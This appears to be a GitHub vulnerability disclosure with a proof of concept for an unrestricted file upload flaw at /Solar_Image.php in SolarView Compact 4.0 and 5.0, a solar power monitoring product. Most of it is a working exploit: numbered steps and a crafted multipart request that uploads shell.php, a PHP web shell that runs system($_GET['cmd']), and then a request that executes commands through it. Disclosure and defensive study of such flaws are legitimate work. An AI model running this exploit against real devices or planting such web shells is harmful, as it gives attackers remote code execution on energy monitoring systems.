strik3r0x1 Update Unrestricted File Upload_ SolarView Compact 4.0,5.0.md History

1 contributor

30 lines (19 sloc) | 1023 Bytes

Unrestricted File Upload vulnerability in SolarView Compact 4.0,5.0

Description

Unrestricted File Upload vulnerability in SolarView Compact 4.0,5.0 at /Solar_Image.php can allow attackers to get a Remote Code Execution on the vulnerable host via upload crafted php file.

POC

1. navigate to /Solar_Image.php
2. upload any php file and caputre the request
3. update the `userfile` and `upfilename` parameters like this:

```
-----------------------------168287165333758025211172961484
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: application/octet-stream

<?php echo "Shell";system($_GET['cmd']); ?>
-----------------------------168287165333758025211172961484
Content-Disposition: form-data; name="upfilename"

shell.php
-----------------------------168287165333758025211172961484
```

4. send the request and navigate to /images/background/shell.php?cmd=ls